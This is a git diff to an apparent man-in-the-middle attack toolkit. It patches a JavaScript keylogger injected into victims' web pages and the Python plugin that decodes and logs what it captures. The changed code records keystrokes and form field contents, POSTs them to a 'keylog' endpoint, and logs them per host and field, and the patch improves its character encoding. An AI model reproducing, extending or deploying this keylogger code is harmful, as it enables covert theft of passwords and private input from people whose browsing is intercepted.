diff --git a/core/javascript/msfkeylogger.js b/core/javascript/msfkeylogger.js index 5110961..e5ec380 100644 --- a/core/javascript/msfkeylogger.js +++ b/core/javascript/msfkeylogger.js @@ -64,7 +64,7 @@ function function2(e) if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) { - andxhr(var3.toString(16), srcname); + andxhr(encodeURIComponent(var3), srcname); } } @@ -85,7 +85,7 @@ function function1(e) var3 = (e) ? e.keyCode : e.which; if (var3 == 9 || var3 == 8 || var3 == 13) { - andxhr(var3.toString(16), srcname); + andxhr(encodeURIComponent(var3), srcname); } else if (var3 == 0) { @@ -93,7 +93,7 @@ function function1(e) text = document.getElementById(id).value; if (text.length != 0) { - andxhr(text.toString(16), srcname); + andxhr(encodeURIComponent(text), srcname); } } @@ -107,7 +107,7 @@ function andxhr(key, inputName) } var2= var2 + key + ","; xhr.open("POST", "keylog", true); - xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8"); xhr.send(var2 + '&&' + inputName); if (key == 13 || var2.length > 3000) diff --git a/plugins/jskeylogger.py b/plugins/jskeylogger.py index 41c008f..fdb726a 100644 --- a/plugins/jskeylogger.py +++ b/plugins/jskeylogger.py @@ -52,11 +52,11 @@ class JSKeylogger(Inject, Plugin): nice = '' else: try: - nice += n.decode('hex') + nice += unichr(int(n)) except: self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) - self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) def options(self, options): - pass \ No newline at end of file + pass